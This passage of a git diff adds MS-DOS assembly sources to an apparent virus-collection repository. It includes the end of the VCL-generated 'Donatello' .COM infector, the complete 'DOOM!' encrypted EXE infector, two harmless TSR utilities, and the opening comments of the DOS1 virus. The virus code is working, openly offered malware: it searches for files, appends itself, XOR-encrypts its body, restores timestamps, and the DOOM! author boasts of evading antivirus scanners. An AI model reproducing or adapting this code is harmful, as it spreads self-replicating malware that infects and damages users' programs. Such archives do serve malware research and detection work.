cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [bx + path_ad],di ; Save the PATH address + mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address + ret ; Return to caller +found_subdir endp + + db 095h,001h,027h,07Eh,08Fh + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 02Ch,015h,0BFh,02Dh,0F2h + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + + db 0C4h,003h,038h,043h,07Fh + +get_random proc near + xor ah,ah ; BIOS get clock count function + int 01Ah + xchg dx,ax ; Transfer the count into AX + ret ; Return to caller +get_random endp + +data00 db "Cowabunga, dudes! It's Donatello!",13,10 + db "(Hey, John, can I be on Nightline too?)",13,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "[Donatello]",0 + db "Nowhere Man, [NuKE] '92",0 + db "Hey, Donatello, be like Mike!",0 + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.doom.asm b/MSDOS/Virus.MSDOS.Unknown.doom.asm new file mode 100644 index 00000000..c0bc91ff --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.doom.asm @@ -0,0 +1,272 @@ +; VirusName : DOOM! +; Origin : Sweden +; Author : Raver +; Date : 23/12/93 + +; My second scratch contribution to this issue. It's a simple non-over- +; writing, non-destructive exe-infector that "eats up" a bit memory on +; every run. It restore date/time stamps and uses an encryption routine +; to avoid discovery from virus scanners. Of'cos no virus scanners are +; able to detect it. This includes Scan/FindViru/MSAV/CPAV/F-Prot and +; TBAV's most heuristic scanner. Well, 9 out of 10 viruses, that's nothing +; but pure bullshit!, ha!, this "wanna-be" can't find a single flag in +; this code! + +; After these two moderate, educational viruses I'm planning to do some +; "fancier" memory resident viruses to the next issue. If I've got some +; time, that is. Fucking military service :) + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; DOOM! +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +cseg segment byte public 'code' + assume cs:cseg, ds:cseg + + org 100h + +start_of_virus: + + call get_offset +get_offset: ;alternative way to get the delta + mov di,sp ;offset without activating any flags in + mov bp,word ptr ss:[di] ;TB-scan + sub bp,offset get_offset + inc sp + inc sp + + push ds ;save es & ds + push es + push cs ;and point ds to code segment + pop ds + + call encrypt_decrypt ;decrypt contents of file + +start_of_encryption: + cld ;clear direction flag + + mov ah,1ah ;set new dta area + lea dx,[bp+dta_area] + int 21h + + mov bx,es + push cs ;es points to code segment + pop es + + lea si,[bp+return2_buffer] ;this code prepares the return code + lea di,[bp+return_buffer] + movsw ;transfer buffer contents + lodsw + add ax,bx ;bx holds start es = psp + add ax,10h + stosw + +; lea di,[bp+stack_return] +; lea si,[bp+stack_save] ;si already points to stack_save + add di,8 ;saving a byte with this code + lodsw ;prepares the restore of ss/sp + add ax,bx + add ax,10h + stosw + movsw + + + mov ah,47h ;save starting directory + xor dl,dl + lea si,[bp+save_dir] + int 21h + +find_new_files: ;start finding files + mov ah,4eh + mov cx,7 + lea dx,[bp+search_pattern] +find_files: + int 21h + + jnc open_file ;if found a file + lea dx,[bp+dir_mask] ;else change directory + mov ah,3bh + int 21h + jnc find_new_files + jmp no_more_files ;end of all files + +open_file: ;open the found file + mov ax,3d02h + lea dx,[bp+dta_area+1eh] + int 21h + + xchg ax,bx ;file handle in bx + + mov ah,3fh ;read the exe header to exe_header + mov cx,18h + lea dx,[bp+exe_header] + int 21h + + lea si,[bp+exe_header] ;check if it's really a executable + lodsw + cmp ax,'ZM' + je check_infected + cmp ax,'MZ' + je check_infected + jmp no_exe ;else jump + +check_infected: + + add si,10h ;saving another byte +; lea si,[bp+exe_header+12h] + lodsw + cmp ax,'Ri' ;is it already infected? + jne start_infect + jmp already_infected + + +start_infect: + lea di,[bp+return2_buffer] ;put the files ip/cs in return2_buffer + movsw + movsw + + lea si,[bp+exe_header+0eh] ;save the files ss/sp in stack_save + movsw + movsw + + lea di,[bp+exe_header+12h] ;mark the file infected + mov ax,'Ri' + stosw + + mov al,2 ;go to end_of_file + call go_eof ;dx/ax is file length at return + + mov cx,10h ;use div to save bytes instead of speed + div cx + sub ax,word ptr ds:[bp+exe_header+8] + xchg dx,ax + stosw ;put new ip/cs in exe_header + xchg dx,ax + stosw + + inc ax ;put new suitable ss/sp in exe_header + inc ax + mov word ptr [bp+exe_header+0eh],ax + mov word ptr [bp+exe_header+10h],4b0h + + + mov ah,2ch ;get system time for random number + int 21h + xor dh,dh ;just alter the code a little bit + or dl,00001010b ;with encryption so TB-scan wont't + mov word ptr [bp+encryption_value],dx ;find garbage instruction + + mov ah,40h ;prepare to append virus to file + lea dx,[bp+start_of_virus] + call append_virus ;call it + + mov al,2 ;go to end of file + call go_eof + + mov cx,512 ;get filesize in 512 modules + div cx + inc ax + mov word ptr [bp+exe_header+2],dx ;put modulo/filesize in + mov word ptr [bp+exe_header+4],ax ;exe header + + + xor al,al ;go to beginning of file + call go_eof + + mov ah,40h ;write new exe header + mov cx,18h + lea dx,[bp+exe_header] + int 21h + + lea si,[bp+dta_area+16h] ;restore time/date stamp + mov cx,word ptr [si] + mov dx,word ptr [si+2] + mov ax,5701h + int 21h + +already_infected: +no_exe: + + mov ah,3eh ;close file + int 21h + + mov ax,4301h ;restore file attribute + mov cl,byte ptr [bp+dta_area+15h] + lea dx,[bp+dta_area+1eh] + int 21h + + mov ah,4fh ;find next file + jmp find_files + +no_more_files: + + lea dx,[bp+save_dir] ;restore starting directory + mov ah,3bh + int 21h + + pop es ;shrink memory block + mov ah,4ah + mov bx,10000 + int 21h + push es + + mov ah,48h ;allocate a new 3k block + mov bx,192 + int 21h + jc no_mem + dec ax + mov es,ax + mov word ptr es:[1],0008h ;mark DOS as owner and it will +no_mem: ;reduce available memory to DOS + + pop es ;restore old es/ds + pop ds + + cli ;must use this before altering ss/sp + mov ss,word ptr cs:[bp+stack_return] ;put back original ss/sp + mov sp,word ptr cs:[bp+stack_return+2] + sti ;interrupts allowed again + +end_part: +db 0eah ;jmp to original ip +return_buffer db 0,0,0,0 +return2_buffer dw 0,0fff0h ;code for carrier file to exit +stack_save dd ? +stack_return dd ? +dir_mask db '..',0 +search_pattern db '*.exe',0 +signature db "DOOM! (c) '93 Raver/Immortal Riot" +go_eof: ;procedure to go to beginning and + mov ah,42h ;end of file + xor cx,cx ;this saves a few bytes as it's + cwd ;used a few times + int 21h + ret +end_of_encryption: +pad db 0 ;pad out a byte so first byte of + ;encryption value won't be overwritten +encryption_value dw 0 + +encrypt_decrypt: ;cryptation routine + mov si,word ptr [bp+encryption_value] + lea di,[bp+start_of_encryption] + mov cx,(end_of_encryption-start_of_encryption+1)/2 +crypt_loop: + xor word ptr [di],si + inc di + inc di + loop crypt_loop + ret + +append_virus: + call encrypt_decrypt ;encrypt virus before write + mov cx,end_of_virus-start_of_virus ;cx is length of virus + int 21h ;call 40h + call encrypt_decrypt ;decrypt virus again + ret +end_of_virus: +exe_header db 18h dup(?) ;don't need to copy this shit +dta_area db 43 dup(?) ;to the next file to infect +save_dir db 64 dup(?) ;return adress is already saved! +cseg ends +end start_of_virus \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.doors.asm b/MSDOS/Virus.MSDOS.Unknown.doors.asm new file mode 100644 index 00000000..48fc64b1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.doors.asm @@ -0,0 +1,152 @@ +title DOORS.ASM - Switch Color/Mono Screens On Keyboard Request +; +VECTORS segment at 0h ; 8088 / 80286 Interrupt Vector Area + org 9h*4 ; IBM PC Keyboard is Int 9H +KB_INT_VECTOR label dword ; Double word label +; +VECTORS ends +; +ROM_BIOS_DATA segment at 40h ; Low Memory "BIOS" Parameters +; + org 10h ; Location of EQUIP_FLAG +EQUIP_FLAG dw ? ; Contains video settings + ; in bits 4 and 5 +; + org 17h ; Location of KB_FLAG +KB_FLAG db ? ; Contains Alt (bit 3) & + ; Right Shift (bit 0) States +ROM_BIOS_DATA ends +; +; Initialization Routine +; +CODE_SEG segment + assume cs:CODE_SEG + org 100h ; COM program format +BEGIN: jmp SWAP_VECTORS ; Initialize vectors and attach to DOS +; +ROM_KB_INT dd 0 ; Double word to save address of + ; ROM-BIOS keyboard interrupt +; DOORS_INT intercepts the keyboard interrupt and switches +; screens if [Alt]-[Right Shift] combination is pressed +; +DOORS_INT proc near + assume ds:nothing + push ds ; Push all affected registers + push es + push ax + push bx + push cx + push dx + push si + push di +; + pushf ; Push Flags for fake interrupt call + call ROM_KB_INT ; to BIOS program to read keyboard +; + assume ds:ROM_BIOS_DATA ; Define data segment to read + mov ax,ROM_BIOS_DATA ; keyboard flag & equipment flag + mov ds,ax + mov al,KB_FLAG ; Get keyboard flag + and al,09h ; Isolate [Alt] + [Right Shift] + cmp al,09h ; Are they pressed? + jne RETURN ; No, quit +; +; [Alt] + [Right Shift] are pressed -- Continue processing +; Check on video mode - quit if not monochrome, color 80x25 or BW 80x25 +; + mov ah,15 ; Call Func 15 of Int 10h to + int 10h ; get video state of the PC + cmp al,7 ; Is screen monochrome? + je SCREEN_OKAY ; Yes, go switch screens + cmp al,3 ; Is screen color text? + jbe CHECK_40_OR_80 ; Yes, go check for 80 or 40 char + jmp RETURN ; Screen is in graphics mode, quit +CHECK_40_or_80: + cmp al,1 ; Is screen 40-character? + jbe RETURN ; Yes, quit +; +SCREEN_OKAY: +; +; Save the current cursor position +; + mov ah,3 ; Call Func 3 of Int 10H + mov bh,0 ; to read cursor position + int 10h ; (page zero for color screen) +; +; Screen switch routine - Establish calling argument (AL) for Int 10h +; + mov bx,EQUIP_FLAG ; Current equipment flag to BX + mov cx,bx ; Make a copy of it in CX + and cx,30h ; Extract screen information + xor bx,cx ; Erase current screen information in BX + or bx,20h ; Set BX to color 80x25 + mov al,3 ; Set AL for color 80x25 in Int 10h + cmp cx,30h ; Is current mono? + je SET_MODE ; Yes, switch to color + or bx,30h ; No, set BX for monochrome + mov al,7 ; Set AL for monochrome in Int 10h +SET_MODE: + mov EQUIP_FLAG,bx ; Write BX to equipment flag + xor ah,ah ; Use Func 0 of Int 10h to + int 10h ; change screen parameters +; +; Restore Cursor +; + mov ah,2 ; Use Func 2 of Int 10h to restore + mov bh,0 ; cursor on new screen (position in DX) + int 10h +; +; After screens are switched, set DS and ES registers to move screen data +; + mov ax,0b000h ; Load ES with Mono Segment + mov es,ax + mov ax,0b800h ; Load DS with Color Segment + mov ds,ax + cmp cx,30h ; Did we switch from mono? + jne COPY_THE_SCREEN ; Yes, move data from mono to color + push ds ; No, swap ES and DS to move data + push es ; from color to mono + pop ds + pop es +COPY_THE_SCREEN: + xor di,di ; Start at zero offsets + xor si,si + mov cx,2000 ; 2000 chars + attrs per screen + cld ; Make sure move is 'forward' +rep movsw ; Move Words with string instruction +; +RETURN: + pop di ; Restore saved registers + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + iret ; Return to system + +DOORS_INT endp +; +; This procedure initializes the new keyboard interupt vectors +; +SWAP_VECTORS proc near + assume ds:VECTORS + mov ax,VECTORS ; Set up the data + mov ds,ax ; segment for vectors + cli ; Disable interrupts + mov ax,word ptr KB_INT_VECTOR ; Store addresses + mov word ptr ROM_KB_INT,ax ; of BIOS program + mov ax,word ptr KB_INT_VECTOR[2] + mov word ptr ROM_KB_INT[2],ax + mov word ptr KB_INT_VECTOR, offset DOORS_INT ; Substitute Our + mov word ptr KB_INT_VECTOR[2],cs ; Program + sti ; Enable interrupts + mov dx,offset SWAP_VECTORS ; End of new resident + ; program + int 27h ; Terminate resident +SWAP_VECTORS endp +CODE_SEG ends + end BEGIN +; + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.dos-edit.asm b/MSDOS/Virus.MSDOS.Unknown.dos-edit.asm new file mode 100644 index 00000000..a98c9fb1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dos-edit.asm @@ -0,0 +1,404 @@ +; DOS-EDIT.ASM -- Resident DOS Command Line Editor +; ================================================ + +CSEG Segment + Assume CS:CSEG + + Org 0080h +KeyboardBuffer Label Byte + + Org 0100h +Entry: Jmp Initialize + +; All Data +; -------- + + db "(C) Copyright 1985 Ziff-Davis Publishing Co." + +OldInterrupt21 dd ? ; Original Interrupt 21 vector +OldInterrupt16 dd ? ; Original Interrupt 16 vector +DoingBuffKey db 0 ; Flag for doing Function Call 0Ah +BufferPointer dw KeyboardBuffer ; Pointer to Keyboard Buffer +BufferCounter db 0 ; Number of characters in buffer +MaxCharCol db ? ; Maximum Character Column on screen +OriginalCursor dw ? ; Place to save cursor on full-screen +InsertOn db 0 ; Insert mode flag + +KeyRoutine dw Home,Up,PgUp,Dummy,Left,Dummy,Right + dw Dummy,End,Down,PgDn,Insert,Delete + +; New Interrupt 21 (DOS Function Calls) +; ------------------------------------- + +NewInterrupt21 Proc Far + + Mov CS:[DoingBuffKey],0 ; Turn flag off initially + + Cmp AH,0Ah ; Check if doing buffered input + Jz BufferedInput + + Jmp CS:[OldInterrupt21] ; If not, do regular interrupt + +BufferedInput: Mov CS:[DoingBuffKey],-1 ; If so, turn on flag + + PushF ; Simulate regular interrupt + Call CS:[OldInterrupt21] + + Mov CS:[DoingBuffKey],0 ; Turn off flag + Mov CS:[BufferCounter],0 ; Re-set character counter + + IRet ; Return to user program + +NewInterrupt21 EndP + +; New Interrupt 16 (BIOS Keyboard Routine) +; ---------------------------------------- + +NewInterrupt16 Proc Far + + Sti ; Re-enable interrupts + Cmp CS:[DoingBuffKey],0 ; Check if doing call 0Ah + Jz DoNotIntercept ; If not, do old interrupt + + Cmp CS:[BufferCounter],0 ; Check if chars in buffer + Jnz Substitute ; If so, get them out + + Cmp AH,0 ; See if doing a get key + Jz CheckTheKey ; If so, get the key + +DoNotIntercept: Jmp CS:[OldInterrupt16] ; Otherwise, do old interrupt + +CheckTheKey: PushF ; Save flags + Call CS:[OldInterrupt16] ; Do regular interrupt + + Cmp AX,4800h ; Check if up cursor + Jnz NotTriggerKey ; If not, don't bother + + Call FullScreen ; Move around the screen + + Cmp CS:[BufferCounter],0 ; Any chars to deliver? + Jz CheckTheKey ; If not, get another key + +ReturnBuffer: Call GetBufferChar ; Otherwise, pull one out + + Inc CS:[BufferPointer] ; Kick up the pointer + Dec CS:[BufferCounter] ; And knock down the counter + +NotTriggerKey: IRet ; And go back to calling prog + +; Substitute Key from Buffer +; -------------------------- + +Substitute: Cmp AH,2 ; See if shift status check + Jae DoNotIntercept ; If so, can't be bothered + + Cmp AH,0 ; See if get a key + Jz ReturnBuffer ; If so, get the key above + + Call GetBufferChar ; Otherwise get a key + Cmp CS:[BufferCounter],0 ; And clear zero flag + + Ret 2 ; Return with existing flags + +NewInterrupt16 EndP + +; Get Buffer Character +; -------------------- + +GetBufferChar: Push BX + Mov BX,CS:[BufferPointer] ; Get pointer to key buffer + Mov AL,CS:[BX] ; Get the key + Sub AH,AH ; Blank out scan code + Pop BX + Ret + +; Full Screen Routine +; ------------------- + +FullScreen: Push AX ; Save all these registers + Push BX + Push CX + Push DX + Push DI + Push DS + Push ES + + Mov AX,CS ; Set AX to this segment + Mov DS,AX ; Do DS is this segment + Mov ES,AX ; And ES is also + + Assume DS:CSEG, ES:CSEG ; Tell the assembler + + Mov AH,0Fh ; Get Video State + Int 10h ; through BIOS + Dec AH ; Number of columns on screen + Mov [MaxCharCol],AH ; Save maximum column + ; BH = Page Number throughout + Mov AH,03h ; Get cursor in DX + Int 10h ; through BIOS + Mov [OriginalCursor],DX ; And save the cursor position + + Call Up ; Move cursor up + +MainLoop: Cmp DH,Byte Ptr [OriginalCursor + 1] ; If at line + Jz TermFullScreen ; stated from, terminate + + Mov AH,02h ; Set cursor from DX + Int 10h ; through BIOS + +GetKeyboard: Mov AH,0 ; Get the next key + PushF ; By simulating Interrupt 16h + Call CS:[OldInterrupt16] ; which goes to BIOS + + Cmp AL,1Bh ; See if Escape key + Jz TermFullScreen ; If so, terminate full screen + +; Back Space +; ---------- + + Cmp AL,08h ; See if back space + Jnz NotBackSpace ; If not, continue test + + Or DL,DL ; Check if cursor at left + Jz MainLoop ; If so, do nothing + + Dec DL ; Otherwise, move cursor back + Call ShiftLeft ; And shift line to the left + + Jmp MainLoop ; And continue for next key + +; Carriage Return +; --------------- + +NotBackSpace: Cmp AL,0Dh ; See if Carriage Return + Jnz NotCarrRet ; If not, continue test + + Call End ; Move line into buffer + + Mov AL,0Dh ; Tack on a Carriage Return + Stosb ; By writing to buffer + Inc [BufferCounter] ; One more character in buffer + + Jmp MainLoop ; And continue + +; Normal Character +; ---------------- + +NotCarrRet: Cmp AL,' ' ; See if normal character + Jb NotNormalChar ; If not, continue test + + Cmp [InsertOn],0 ; Check for Insert mode + Jz OverWrite ; If not, overwrite + + Call ShiftRight ; Shift line right for insert + Jmp Short NormalCharEnd ; And get ready to print + +OverWrite: Mov CX,1 ; Write one character + Mov AH,0Ah ; By calling BIOS + Int 10h + +NormalCharEnd: Call Right ; Cursor to right and print + + Jmp MainLoop ; Back for another key + +; Cursor Key, Insert, or Delete Subroutine +; ---------------------------------------- + +NotNormalChar: Xchg AL,AH ; Put extended code in AL + Sub AX,71 ; See if it's a cursor key + Jc GetKeyboard ; If not, no good + + Cmp AX,12 ; Another check for cursor + Ja GetKeyboard ; If not, skip it + + Add AX,AX ; Double for index + Mov DI,AX ; into vector table + + Call [KeyRoutine + DI] ; Do the routine + + Jmp MainLoop ; Back for another key + +; Terminate Full Screen Movement +; ------------------------------ + +TermFullScreen: Mov DX,[OriginalCursor] ; Set cursor to original + Mov AH,2 ; And set it + Int 10h ; through BIOS + + Pop ES ; Restore all registers + Pop DS + Pop DI + Pop DX + Pop CX + Pop BX + Pop AX + + Ret ; And return to New Int. 16h + +; Cursor Movement +; --------------- + +Home: Mov DL,Byte Ptr [OriginalCursor] ; Move cursor to + Ret ; to original column + +Up: Or DH,DH ; Check if at top row + Jz UpEnd ; If so, do nothing + Dec DH ; If not, decrement row +UpEnd: Ret + +PgUp: Sub DL,DL ; Move cursor to far left + Ret + +Left: Or DL,DL ; Check if cursor at far left + Jnz GoWest ; If not, move it left + Mov DL,[MaxCharCol] ; Move cursor to right + Jmp Up ; And go up one line +GoWest: Dec DL ; Otherwise, decrement column + Ret + +Right: Cmp DL,[MaxCharCol] ; Check if cursor at far right + Jb GoEast ; If not, move it right + Sub DL,DL ; Set cursor to left of screen + Jmp Down ; And go down one line +GoEast: Inc DL ; Otherwise, increment column + Ret + +End: Call TransferLine ; Move line to buffer + Mov DX,[OriginalCursor] ; Set cursor to original + Ret + +Down: Inc DH ; Move cursor down one row + Ret + +PgDn: Mov CL,[MaxCharCol] ; Get last column on screen + Inc CL ; Kick it up by one + Sub CL,DL ; Subtract current column + Sub CH,CH ; Set top byte to zero + Mov AL,' ' ; Character to write + Mov AH,0Ah ; Write blanks to screen + Int 10h ; through BIOS +Dummy: Ret + +; Insert and Delete +; ----------------- + +Insert: Xor [InsertOn],-1 ; Toggle the InsertOn flag + Ret ; and return + +Delete: Call ShiftLeft ; Shift cursor line left + Ret ; and return + +; Transfer Line on Screen to Keyboard Buffer +; ------------------------------------------ + +TransferLine: Sub CX,CX ; Count characters in line + Mov DI,Offset KeyboardBuffer ; Place to store 'em + Mov [BufferPointer],DI ; Save that address + Cld ; String direction forward + +GetCharLoop: Mov AH,02h ; Set Cursor at DX + Int 10h ; through BIOS + + Mov AH,08h ; Read Character & Attribute + Int 10h ; through BIOS + + Stosb ; Save the character + + Inc CX ; Increment the counter + Inc DL ; Increment the cursor column + Cmp DL,[MaxCharCol] ; See if at end of line yet + Jbe GetCharLoop ; If not, continue + + Dec DI ; Points to end of string + Mov AL,' ' ; Character to search through + Std ; Searching backwards + Repz Scasb ; Search for first non-blank + Cld ; Forward direction again + Jz SetBufferCount ; If all blanks, skip down + + Inc CL ; Number of non-blanks + Inc DI ; At last character +SetBufferCount: Inc DI ; After last character + Mov [BufferCounter],CL ; Save the character count + + Ret ; Return from routine + +; Shift Line One Space Right (For Insert) +; --------------------------------------- + +ShiftRight: Push DX ; Save original cursor + Mov DI,AX ; Character to insert + +ShiftRightLoop: Call ReadAndWrite ; Read character and write + + Inc DL ; Kick up cursor column + Cmp DL,[MaxCharCol] ; Check if it's rightmost + Jbe ShiftRightLoop ; If not, keep going + + Pop DX ; Get back original cursor + Ret ; And return from routine + +; Shift Line One Space Left (For Delete) +; -------------------------------------- + +ShiftLeft: Mov DI,0020h ; Blank at end + Mov BL,DL ; Save cursor column + Mov DL,[MaxCharCol] ; Set cursor to end of line + +ShiftLeftLoop: Call ReadAndWrite ; Read character and write + + Dec DL ; Kick down cursor column + Cmp DL,BL ; See if at original yet + Jge ShiftLeftLoop ; If still higher, keep going + + Inc DL ; Put cursor back to original + Ret ; And return from routine + +; Read and Write Character for Line Shifts +; ---------------------------------------- + +ReadAndWrite: Mov AH,2 ; Set Cursor from DX + Int 10h ; through BIOS + + Mov AH,08h ; Read Character and Attribute + Int 10h ; through BIOS + + Xchg AX,DI ; Switch with previous char + + Mov CX,1 ; One character to write + Mov AH,0Ah ; Write character only + Int 10h ; through BIOS + + Ret ; Return from Routine + +; Initialization on Entry +; ----------------------- + +Initialize: Sub AX,AX ; Make AX equal zero + Mov DS,AX ; To point to vector segment + + Les BX,dword ptr DS:[21h * 4]; Get and save Int. 21h + Mov Word Ptr CS:[OldInterrupt21],BX + Mov Word Ptr CS:[OldInterrupt21 + 2],ES + + Les BX,dword ptr DS:[16h * 4]; Get and save Int. 16h + Mov Word Ptr CS:[OldInterrupt16],BX + Mov Word Ptr CS:[OldInterrupt16 + 2],ES + + Push CS ; Restore DS register + Pop DS ; by setting to CS + + Mov DX,Offset NewInterrupt21 + Mov AX,2521h ; Set new Interrupt 21h + Int 21h ; through DOS + + Mov DX,Offset NewInterrupt16 + Mov AX,2516h ; Set new Interrupt 16h + Int 21h ; through DOS + + Mov DX,Offset Initialize ; Number of bytes to stay + Int 27h ; Terminate & remain resident + +CSEG EndS + End Entry + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.dos1.asm b/MSDOS/Virus.MSDOS.Unknown.dos1.asm new file mode 100644 index 00000000..27729984 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dos1.asm @@ -0,0 +1,162 @@ +;DOS1 virus by the TridenT research group - Direct Action appending .COM + +;This virus infects .COM files in the current directory using FCB's. +;Other than FCB use, the virus is VERY simple. Avoids infecting misnamed +;EXE files by using an 'M' at the beginning of files to mark infection. + +;This virus requires a stub file made from the following debug script, +;to make it, compile the virus, then create the stub file by removing the +;semicolons from the code between the lines, saving it, and calling it +;vstub.hex. Then use the following commands: + +; Debug